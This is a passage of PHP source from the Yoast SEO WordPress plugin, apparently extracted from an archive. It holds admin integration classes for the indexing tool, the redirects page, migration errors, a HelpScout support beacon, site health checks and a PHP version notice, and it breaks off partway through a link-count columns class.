namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\No_Tool_Selected_Conditional;
use Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Indexing_Error_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Indexing_List_Item_Presenter;
use Yoast\WP\SEO\Routes\Importing_Route;
use Yoast\WP\SEO\Routes\Indexing_Route;
use Yoast\WP\SEO\Services\Importing\Importable_Detector_Service;

/**
 * Class Indexing_Tool_Integration. Bridge to the Javascript indexing tool on Yoast SEO Tools page.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Indexing_Tool_Integration implements Integration_Interface {

	/**
	 * Represents the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Represents the indexables helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * Represents the indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * The Importable Detector service.
	 *
	 * @var Importable_Detector_Service
	 */
	protected $importable_detector;

	/**
	 * The Importing Route class.
	 *
	 * @var Importing_Route
	 */
	protected $importing_route;

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [
			Migrations_Conditional::class,
			No_Tool_Selected_Conditional::class,
			Yoast_Tools_Page_Conditional::class,
		];
	}

	/**
	 * Indexing_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager   $asset_manager       The admin asset manager.
	 * @param Indexable_Helper            $indexable_helper    The indexable helper.
	 * @param Short_Link_Helper           $short_link_helper   The short link helper.
	 * @param Indexing_Helper             $indexing_helper     The indexing helper.
	 * @param WPSEO_Addon_Manager         $addon_manager       The addon manager.
	 * @param Product_Helper              $product_helper      The product helper.
	 * @param Importable_Detector_Service $importable_detector The importable detector.
	 * @param Importing_Route             $importing_route     The importing route.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Indexable_Helper $indexable_helper,
		Short_Link_Helper $short_link_helper,
		Indexing_Helper $indexing_helper,
		WPSEO_Addon_Manager $addon_manager,
		Product_Helper $product_helper,
		Importable_Detector_Service $importable_detector,
		Importing_Route $importing_route
	) {
		$this->asset_manager       = $asset_manager;
		$this->indexable_helper    = $indexable_helper;
		$this->short_link_helper   = $short_link_helper;
		$this->indexing_helper     = $indexing_helper;
		$this->addon_manager       = $addon_manager;
		$this->product_helper      = $product_helper;
		$this->importable_detector = $importable_detector;
		$this->importing_route     = $importing_route;
	}

	/**
	 * Register hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_tools_overview_list_items_internal', [ $this, 'render_indexing_list_item' ], 10 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ], 10 );
	}

	/**
	 * Enqueues the required scripts.
	 *
	 * @return void
	 */
	public function enqueue_scripts() {
		$this->asset_manager->enqueue_script( 'indexation' );
		$this->asset_manager->enqueue_style( 'admin-css' );
		$this->asset_manager->enqueue_style( 'monorepo' );

		$data = [
			'disabled'                    => ! $this->indexable_helper->should_index_indexables(),
			'amount'                      => $this->indexing_helper->get_filtered_unindexed_count(),
			'firstTime'                   => ( $this->indexing_helper->is_initial_indexing() === true ),
			'errorMessage'                => $this->render_indexing_error(),
			'restApi'                     => [
				'root'                => \esc_url_raw( \rest_url() ),
				'indexing_endpoints'  => $this->get_indexing_endpoints(),
				'importing_endpoints' => $this->get_importing_endpoints(),
				'nonce'               => \wp_create_nonce( 'wp_rest' ),
			],
		];

		/**
		 * Filter: 'wpseo_indexing_data' Filter to adapt the data used in the indexing process.
		 *
		 * @param array $data The indexing data to adapt.
		 */
		$data = \apply_filters( 'wpseo_indexing_data', $data );

		$this->asset_manager->localize_script( 'indexation', 'yoastIndexingData', $data );
	}

	/**
	 * The error to show if optimization failed.
	 *
	 * @return string The error to show if optimization failed.
	 */
	protected function render_indexing_error() {
		$presenter = new Indexing_Error_Presenter(
			$this->short_link_helper,
			$this->product_helper,
			$this->addon_manager
		);

		return $presenter->present();
	}

	/**
	 * Determines if the site has a valid Premium subscription.
	 *
	 * @return bool If the site has a valid Premium subscription.
	 */
	protected function has_valid_premium_subscription() {
		return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
	}

	/**
	 * Renders the indexing list item.
	 *
	 * @return void
	 */
	public function render_indexing_list_item() {
		if ( \current_user_can( 'manage_options' ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- The output is correctly escaped in the presenter.
			echo new Indexing_List_Item_Presenter( $this->short_link_helper );
		}
	}

	/**
	 * Retrieves a list of the indexing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_indexing_endpoints() {
		$endpoints = [
			'prepare'            => Indexing_Route::FULL_PREPARE_ROUTE,
			'terms'              => Indexing_Route::FULL_TERMS_ROUTE,
			'posts'              => Indexing_Route::FULL_POSTS_ROUTE,
			'archives'           => Indexing_Route::FULL_POST_TYPE_ARCHIVES_ROUTE,
			'general'            => Indexing_Route::FULL_GENERAL_ROUTE,
			'indexablesComplete' => Indexing_Route::FULL_INDEXABLES_COMPLETE_ROUTE,
			'post_link'          => Indexing_Route::FULL_POST_LINKS_INDEXING_ROUTE,
			'term_link'          => Indexing_Route::FULL_TERM_LINKS_INDEXING_ROUTE,
		];

		$endpoints = \apply_filters( 'wpseo_indexing_endpoints', $endpoints );

		$endpoints['complete'] = Indexing_Route::FULL_COMPLETE_ROUTE;

		return $endpoints;
	}

	/**
	 * Retrieves a list of the importing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_importing_endpoints() {
		$available_actions   = $this->importable_detector->detect_importers();
		$importing_endpoints = [];

		foreach ( $available_actions as $plugin => $types ) {
			foreach ( $types as $type ) {
				$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
			}
		}

		return $importing_endpoints;
	}
}
wordpress-seo/src/integrations/admin/redirects-page-integration.php000064400000002660147510273100021701 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Premium_Inactive_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Redirects_Page_Integration class.
 */
class Redirects_Page_Integration implements Integration_Interface {

	/**
	 * Sets up the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 9 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case: only when on an admin page and Premium is not active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Premium_Inactive_Conditional::class,
		];
	}

	/**
	 * Adds the redirects submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		$submenu_pages[] = [
			'wpseo_dashboard',
			'',
			\__( 'Redirects', 'wordpress-seo' ) . ' <span class="yoast-badge yoast-premium-badge"></span>',
			'edit_others_posts',
			'wpseo_redirects',
			[ $this, 'display' ],
		];

		return $submenu_pages;
	}

	/**
	 * Displays the redirects page.
	 *
	 * @return void
	 */
	public function display() {
		require \WPSEO_PATH . 'admin/pages/redirects.php';
	}
}
wordpress-seo/src/integrations/admin/migration-error-integration.php000064400000002543147510273100022123 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Config\Migration_Status;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Migration_Error_Presenter;

/**
 * Migration_Error_Integration class.
 */
class Migration_Error_Integration implements Integration_Interface {

	/**
	 * The migration status object.
	 *
	 * @var Migration_Status
	 */
	protected $migration_status;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Migration_Error_Integration constructor.
	 *
	 * @param Migration_Status $migration_status The migration status object.
	 */
	public function __construct( Migration_Status $migration_status ) {
		$this->migration_status = $migration_status;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		if ( $this->migration_status->get_error( 'free' ) === false ) {
			return;
		}

		\add_action( 'admin_notices', [ $this, 'render_migration_error' ] );
	}

	/**
	 * Renders the migration error.
	 *
	 * @return void
	 */
	public function render_migration_error() {
		// phpcs:ignore WordPress.Security.EscapeOutput -- The Migration_Error_Presenter already escapes it's output.
		echo new Migration_Error_Presenter( $this->migration_status->get_error( 'free' ) );
	}
}
wordpress-seo/src/integrations/admin/helpscout-beacon.php000064400000031425147510273100017716 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Tracking_Server_Data;
use WPSEO_Utils;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Config\Migration_Status;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Academy_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Integrations\Settings_Integration;
use Yoast\WP\SEO\Integrations\Support_Integration;

/**
 * Class WPSEO_HelpScout
 */
class HelpScout_Beacon implements Integration_Interface {

	/**
	 * The id for the beacon.
	 *
	 * @var string
	 */
	protected $beacon_id = '2496aba6-0292-489c-8f5d-1c0fba417c2f';

	/**
	 * The id for the beacon for users that have tracking on.
	 *
	 * @var string
	 */
	protected $beacon_id_tracking_users = '6b8e74c5-aa81-4295-b97b-c2a62a13ea7f';

	/**
	 * The products the beacon is loaded for.
	 *
	 * @var array
	 */
	protected $products = [];

	/**
	 * Whether to ask the user's consent before loading in HelpScout.
	 *
	 * @var bool
	 */
	protected $ask_consent = true;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The array of pages we need to show the beacon on with their respective beacon IDs.
	 *
	 * @var array
	 */
	protected $pages_ids;

	/**
	 * The array of pages we need to show the beacon on.
	 *
	 * @var array
	 */
	protected $base_pages = [
		'wpseo_dashboard',
		Settings_Integration::PAGE,
		Academy_Integration::PAGE,
		Support_Integration::PAGE,
		'wpseo_search_console',
		'wpseo_tools',
		'wpseo_licenses',
		'wpseo_workouts',
		'wpseo_integrations',
	];

	/**
	 * The current admin page
	 *
	 * @var string|null
	 */
	protected $page;

	/**
	 * The asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * The migration status object.
	 *
	 * @var Migration_Status
	 */
	protected $migration_status;

	/**
	 * Headless_Rest_Endpoints_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper            $options          The options helper.
	 * @param WPSEO_Admin_Asset_Manager $asset_manager    The asset manager.
	 * @param Migration_Status          $migration_status The migrations status.
	 */
	public function __construct( Options_Helper $options, WPSEO_Admin_Asset_Manager $asset_manager, Migration_Status $migration_status ) {
		$this->options       = $options;
		$this->asset_manager = $asset_manager;
		$this->ask_consent   = ! $this->options->get( 'tracking' );
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			$this->page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) );
		}
		else {
			$this->page = null;
		}
		$this->migration_status = $migration_status;

		foreach ( $this->base_pages as $page ) {
			if ( $this->ask_consent ) {
				// We want to be able to show surveys to people who have tracking on, so we give them a different beacon.
				$this->pages_ids[ $page ] = $this->beacon_id_tracking_users;
			}
			else {
				$this->pages_ids[ $page ] = $this->beacon_id;
			}
		}
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_help_scout_script' ] );
		\add_action( 'admin_footer', [ $this, 'output_beacon_js' ] );
	}

	/**
	 * Enqueues the HelpScout script.
	 *
	 * @return void
	 */
	public function enqueue_help_scout_script() {
		// Make sure plugins can filter in their "stuff", before we check whether we're outputting a beacon.
		$this->filter_settings();
		if ( ! $this->is_beacon_page() ) {
			return;
		}

		$this->asset_manager->enqueue_script( 'help-scout-beacon' );
	}

	/**
	 * Outputs a small piece of javascript for the beacon.
	 *
	 * @return void
	 */
	public function output_beacon_js() {
		if ( ! $this->is_beacon_page() ) {
			return;
		}

		\printf(
			'<script type="text/javascript">window.%1$s(\'%2$s\', %3$s)</script>',
			( $this->ask_consent ) ? 'wpseoHelpScoutBeaconConsent' : 'wpseoHelpScoutBeacon',
			\esc_html( $this->pages_ids[ $this->page ] ),
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- escaping done in format_json_encode.
			WPSEO_Utils::format_json_encode( (array) $this->get_session_data() )
		);
	}

	/**
	 * Checks if the current page is a page containing the beacon.
	 *
	 * @return bool
	 */
	private function is_beacon_page() {
		$return = false;
		if ( ! empty( $this->page ) && $GLOBALS['pagenow'] === 'admin.php' && isset( $this->pages_ids[ $this->page ] ) ) {
			$return = true;
		}

		/**
		 * Filter: 'wpseo_helpscout_show_beacon' - Allows overriding whether we show the HelpScout beacon.
		 *
		 * @param bool $show_beacon Whether we show the beacon or not.
		 */
		return \apply_filters( 'wpseo_helpscout_show_beacon', $return );
	}

	/**
	 * Retrieves the identifying data.
	 *
	 * @return string The data to pass as identifying data.
	 */
	protected function get_session_data() {
		// Short-circuit if we can get the needed data from a transient.
		$transient_data = \get_transient( 'yoast_beacon_session_data' );

		if ( \is_array( $transient_data ) ) {
			return WPSEO_Utils::format_json_encode( $transient_data );
		}

		$current_user = \wp_get_current_user();

		// Do not make these strings translatable! They are for our support agents, the user won't see them!
		$data = \array_merge(
			[
				'name'               => \trim( $current_user->user_firstname . ' ' . $current_user->user_lastname ),
				'email'              => $current_user->user_email,
				'Languages'          => $this->get_language_settings(),
			],
			$this->get_server_info(),
			[
				'WordPress Version'    => $this->get_wordpress_version(),
				'Active theme'         => $this->get_theme_info(),
				'Active plugins'       => $this->get_active_plugins(),
				'Must-use and dropins' => $this->get_mustuse_and_dropins(),
				'Indexables status'    => $this->get_indexables_status(),
			]
		);

		if ( ! empty( $this->products ) ) {
			$addon_manager = new WPSEO_Addon_Manager();
			foreach ( $this->products as $product ) {
				$subscription = $addon_manager->get_subscription( $product );

				if ( ! $subscription ) {
					continue;
				}

				$data[ $subscription->product->name ] = $this->get_product_info( $subscription );
			}
		}

		// Store the data in a transient for 5 minutes to prevent overhead on every backend pageload.
		\set_transient( 'yoast_beacon_session_data', $data, ( 5 * \MINUTE_IN_SECONDS ) );

		return WPSEO_Utils::format_json_encode( $data );
	}

	/**
	 * Returns basic info about the server software.
	 *
	 * @return array
	 */
	private function get_server_info() {
		$server_tracking_data = new WPSEO_Tracking_Server_Data();
		$server_data          = $server_tracking_data->get();
		$server_data          = $server_data['server'];

		$fields_to_use = [
			'Server IP'        => 'ip',
			'PHP Version'      => 'PhpVersion',
			'cURL Version'     => 'CurlVersion',
		];

		$server_data['CurlVersion'] = $server_data['CurlVersion']['version'] . ' (SSL Support ' . $server_data['CurlVersion']['sslSupport'] . ')';

		$server_info = [];

		foreach ( $fields_to_use as $label => $field_to_use ) {
			if ( isset( $server_data[ $field_to_use ] ) ) {
				$server_info[ $label ] = \esc_html( $server_data[ $field_to_use ] );
			}
		}

		// Get the memory limits for the server and, if different, from WordPress as well.
		$memory_limit                 = \ini_get( 'memory_limit' );
		$server_info['Memory limits'] = 'Server memory limit: ' . $memory_limit;

		if ( $memory_limit !== \WP_MEMORY_LIMIT ) {
			$server_info['Memory limits'] .= ', WP_MEMORY_LIMIT: ' . \WP_MEMORY_LIMIT;
		}

		if ( $memory_limit !== \WP_MAX_MEMORY_LIMIT ) {
			$server_info['Memory limits'] .= ', WP_MAX_MEMORY_LIMIT: ' . \WP_MAX_MEMORY_LIMIT;
		}

		return $server_info;
	}

	/**
	 * Returns info about the Yoast SEO plugin version and license.
	 *
	 * @param object $plugin The plugin.
	 *
	 * @return string The product info.
	 */
	private function get_product_info( $plugin ) {
		if ( empty( $plugin ) ) {
			return '';
		}

		$product_info = \sprintf(
			'Expiration date %1$s',
			$plugin->expiry_date
		);

		return $product_info;
	}

	/**
	 * Returns the WordPress version + a suffix about the multisite status.
	 *
	 * @return string The WordPress version string.
	 */
	private function get_wordpress_version() {
		global $wp_version;

		$wordpress_version = $wp_version;
		if ( \is_multisite() ) {
			$wordpress_version .= ' (multisite: yes)';
		}
		else {
			$wordpress_version .= ' (multisite: no)';
		}

		return $wordpress_version;
	}

	/**
	 * Returns information about the current theme.
	 *
	 * @return string The theme info as string.
	 */
	private function get_theme_info() {
		$theme = \wp_get_theme();

		$theme_info = \sprintf(
			'%1$s (Version %2$s, %3$s)',
			\esc_html( $theme->display( 'Name' ) ),
			\esc_html( $theme->display( 'Version' ) ),
			\esc_attr( $theme->display( 'ThemeURI' ) )
		);

		if ( \is_child_theme() ) {
			$theme_info .= \sprintf( ', this is a child theme of: %1$s', \esc_html( $theme->display( 'Template' ) ) );
		}

		return $theme_info;
	}

	/**
	 * Returns a stringified list of all active plugins, separated by a pipe.
	 *
	 * @return string The active plugins.
	 */
	private function get_active_plugins() {
		$updates_available = \get_site_transient( 'update_plugins' );

		$active_plugins = '';
		foreach ( \wp_get_active_and_valid_plugins() as $plugin ) {
			$plugin_data             = \get_plugin_data( $plugin );
			$plugin_file             = \str_replace( \trailingslashit( \WP_PLUGIN_DIR ), '', $plugin );
			$plugin_update_available = '';

			if ( isset( $updates_available->response[ $plugin_file ] ) ) {
				$plugin_update_available = ' [update available]';
			}

			$active_plugins .= \sprintf(
				'%1$s (Version %2$s%3$s, %4$s) | ',
				\esc_html( $plugin_data['Name'] ),
				\esc_html( $plugin_data['Version'] ),
				$plugin_update_available,
				\esc_attr( $plugin_data['PluginURI'] )
			);
		}

		return $active_plugins;
	}

	/**
	 * Returns a CSV list of all must-use and drop-in plugins.
	 *
	 * @return string The active plugins.
	 */
	private function get_mustuse_and_dropins() {
		$dropins         = \get_dropins();
		$mustuse_plugins = \get_mu_plugins();

		if ( ! \is_array( $dropins ) ) {
			$dropins = [];
		}

		if ( ! \is_array( $mustuse_plugins ) ) {
			$mustuse_plugins = [];
		}

		return \sprintf( 'Must-Use plugins: %1$d, Drop-ins: %2$d', \count( $mustuse_plugins ), \count( $dropins ) );
	}

	/**
	 * Return the indexables status details.
	 *
	 * @return string The indexables status in a string.
	 */
	private function get_indexables_status() {
		$indexables_status  = 'Indexing completed: ';
		$indexing_completed = $this->options->get( 'indexables_indexing_completed' );
		$indexing_reason    = $this->options->get( 'indexing_reason' );

		$indexables_status .= ( $indexing_completed ) ? 'yes' : 'no';
		$indexables_status .= ( $indexing_reason ) ? ', latest indexing reason: ' . \esc_html( $indexing_reason ) : '';

		foreach ( [ 'free', 'premium' ] as $migration_name ) {
			$current_status = $this->migration_status->get_error( $migration_name );

			if ( \is_array( $current_status ) && isset( $current_status['message'] ) ) {
				$indexables_status .= ', migration error: ' . \esc_html( $current_status['message'] );
			}
		}

		return $indexables_status;
	}

	/**
	 * Returns language settings for the website and the current user.
	 *
	 * @return string The locale settings of the site and user.
	 */
	private function get_language_settings() {
		$site_locale = \get_locale();
		$user_locale = \get_user_locale();

		$language_settings = \sprintf(
			'Site locale: %1$s, user locale: %2$s',
			( \is_string( $site_locale ) ) ? \esc_html( $site_locale ) : 'unknown',
			( \is_string( $user_locale ) ) ? \esc_html( $user_locale ) : 'unknown'
		);

		return $language_settings;
	}

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Allows filtering of the HelpScout settings. Hooked to admin_head to prevent timing issues, not too early, not too late.
	 *
	 * @return void
	 */
	protected function filter_settings() {
		$filterable_helpscout_setting = [
			'products'  => $this->products,
			'pages_ids' => $this->pages_ids,
		];

		/**
		 * Filter: 'wpseo_helpscout_beacon_settings' - Allows overriding the HelpScout beacon settings.
		 *
		 * @param string $beacon_settings The HelpScout beacon settings.
		 */
		$helpscout_settings = \apply_filters( 'wpseo_helpscout_beacon_settings', $filterable_helpscout_setting );

		$this->products  = $helpscout_settings['products'];
		$this->pages_ids = $helpscout_settings['pages_ids'];
	}
}
wordpress-seo/src/integrations/admin/health-check-integration.php000064400000005276147510273100021331 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Services\Health_Check\Health_Check;

/**
 * Integrates health checks with WordPress' Site Health.
 */
class Health_Check_Integration implements Integration_Interface {

	/**
	 * Contains all the health check implementations.
	 *
	 * @var Health_Check[]
	 */
	private $health_checks = [];

	/**
	 * Uses the dependency injection container to obtain all available implementations of the Health_Check interface.
	 *
	 * @param  Health_Check ...$health_checks The available health checks implementations.
	 */
	public function __construct( Health_Check ...$health_checks ) {
		$this->health_checks = $health_checks;
	}

	/**
	 * Hooks the health checks into WordPress' site status tests.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'site_status_tests', [ $this, 'add_health_checks' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case: only when on an admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Checks if the input is a WordPress site status tests array, and adds Yoast's health checks if it is.
	 *
	 * @param  string[] $tests Array containing WordPress site status tests.
	 * @return string[] Array containing WordPress site status tests with Yoast's health checks.
	 */
	public function add_health_checks( $tests ) {
		if ( ! $this->is_valid_site_status_tests_array( $tests ) ) {
			return $tests;
		}

		return $this->add_health_checks_to_site_status_tests( $tests );
	}

	/**
	 * Checks if the input array is a WordPress site status tests array.
	 *
	 * @param  mixed $tests Array to check.
	 * @return bool Returns true if the input array is a WordPress site status tests array.
	 */
	private function is_valid_site_status_tests_array( $tests ) {
		if ( ! \is_array( $tests ) ) {
			return false;
		}

		if ( ! \array_key_exists( 'direct', $tests ) ) {
			return false;
		}

		if ( ! \is_array( $tests['direct'] ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Adds the health checks to WordPress' site status tests.
	 *
	 * @param  string[] $tests Array containing WordPress site status tests.
	 * @return string[] Array containing WordPress site status tests with Yoast's health checks.
	 */
	private function add_health_checks_to_site_status_tests( $tests ) {
		foreach ( $this->health_checks as $health_check ) {
			$tests['direct'][ $health_check->get_test_identifier() ] = [
				'test' => [ $health_check, 'run_and_get_result' ],
			];
		}

		return $tests;
	}
}
wordpress-seo/src/integrations/admin/unsupported-php-version-notice.php000064400000011527147510273100022603 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Shortlinker;
use Yoast\WHIPv2\Exceptions\InvalidType;
use Yoast\WHIPv2\Exceptions\InvalidVersionComparisonString;
use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\MessageDismisser;
use Yoast\WHIPv2\MessageFormatter;
use Yoast\WHIPv2\Presenters\WPMessagePresenter;
use Yoast\WHIPv2\RequirementsChecker;
use Yoast\WHIPv2\VersionRequirement;
use Yoast\WHIPv2\WPDismissOption;
use Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Unsupported_PHP_Version_Notice.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Unsupported_PHP_Version_Notice implements Integration_Interface, Message {

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array<string> The array of conditionals.
	 */
	public static function get_conditionals() {
		return [
			Yoast_Admin_And_Dashboard_Conditional::class,
		];
	}

	/**
	 * Register hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'check_php_version' ] );
	}

	/**
	 * Checks the current PHP version.
	 *
	 * @return void
	 */
	public function check_php_version() {
		// If the user isn't an admin, don't display anything.
		if ( ! $this->has_right_capabilities() ) {
			return;
		}

		if ( ! $this->on_dashboard_page( $GLOBALS['pagenow'] ) ) {
			return;
		}

		// Checks if the user is running at least PHP 7.2.
		if ( $this->is_supported_php_version_installed() === false ) {
			$this->show_unsupported_php_message();
		}
	}

	/**
	 * Composes the body of the message to display.
	 *
	 * @return string The message to display.
	 */
	public function body() {
		$message   = [];
		$message[] = MessageFormatter::strongParagraph( \__( 'Upgrade your PHP version', 'wordpress-seo' ) ) . '<br />';
		$message[] = MessageFormatter::paragraph(
			\sprintf(
				/* translators: 1: Yoast SEO, 2: Yoast SEO Premium */
				\__(
					'By November 1st, 2024, we’ll update the minimum PHP requirement for %1$s, %2$s and all our add-ons to PHP 7.4. This, to ensure we can keep delivering state of the art features.',
					'wordpress-seo'
				),
				'Yoast SEO',
				'Yoast SEO Premium'
			)
		) . '<br />';
		$message[] = MessageFormatter::strongParagraph( \__( 'Can’t upgrade yourself? Ask your host!', 'wordpress-seo' ) ) . '<br />';
		$message[] = MessageFormatter::paragraph(
			\sprintf(
			/* translators: 1: Link tag to WordPress Hosts page on Yoast.com; 2: Link closing tag */
				\__(
					'Upgrading your PHP version is something your hosting provider can help you out with. If they can’t upgrade your PHP version, we advise you to consider %1$sswitching to a hosting provider%2$s that can provide the security and features a modern host should provide.',
					'wordpress-seo'
				),
				'<a href="' . WPSEO_Shortlinker::get( 'https://yoast.com/wordpress-hosting/' ) . '">',
				'</a>'
			)
		) . '<br />';

		return \implode( \PHP_EOL, $message );
	}

	/**
	 * Checks if the current user has the right capabilities.
	 *
	 * @return bool True when user has right capabilities.
	 */
	protected function has_right_capabilities() {
		return \current_user_can( 'wpseo_manage_options' );
	}

	/**
	 * Whether we are on the admin dashboard page or in the Yoast dashboard page.
	 *
	 * We need to have the notice in the main admin otherwise the dismissal mechanism won't work.
	 *
	 * @param string $current_page The current page.
	 *
	 * @return bool True if current page is the index.php.
	 */
	protected function on_dashboard_page( $current_page ) {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( $current_page === 'admin.php' && isset( $_GET['page'] ) && \sanitize_text_field( \wp_unslash( $_GET['page'] ) ) === 'wpseo_dashboard' ) {
			return true;
		}

		return ( $current_page === 'index.php' );
	}

	/**
	 * Checks if the installed php version is supported.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return bool True when the php version is support.
	 */
	protected function is_supported_php_version_installed() {
		try {
			$checker = new RequirementsChecker( [ 'php' => \PHP_VERSION ] );

			$checker->addRequirement( VersionRequirement::fromCompareString( 'php', '>=7.4' ) );
			$checker->check();

			return $checker->hasMessages() === false;
		}
		catch ( InvalidVersionComparisonString $e ) {
			return true;
		}
		catch ( InvalidType $e ) {
			return true;
		}
	}

	/**
	 * Creates a new message to display regarding the usage of PHP 7.3 (or lower).
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function show_unsupported_php_message() {
		$presenter = new WPMessagePresenter(
			$this,
			new MessageDismisser( \time(), ( \WEEK_IN_SECONDS * 4 ), new WPDismissOption() ),
			\__( 'Remind me again in 4 weeks.', 'wordpress-seo' )
		);
		$presenter->registerHooks();
	}
}
wordpress-seo/src/integrations/admin/link-count-columns-integration.php000064400000017213147510273100022544 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WP_Query;
use wpdb;
use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action;
use Yoast\WP\SEO\Conditionals\Admin\Posts_Overview_Or_Ajax_Conditional;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Should_Index_Links_Conditional;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Link_Count_Columns_Integration class.
 */
class Link_Count_Columns_Integration implements Integration_Interface {

	/**
	 * Partial column name.
	 *
	 * @var string
	 */
	public const COLUMN_LINKED = 'linked';

	/**
	 * Partial column name.
	 *
	 * @var string
	 */
	public const COLUMN_LINKS = 'links';

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * The database object.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * The post link builder.
	 *
	 * @var Post_Link_Indexing_Action
	 */
	protected $post_link_indexing_action;

	/**
	 * The admin columns cache.
	 *
	 * @var Admin_Columns_Cache_Integration
	 */
	protected $admin_columns_cache;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Posts_Overview_Or_Ajax_Conditional::class,
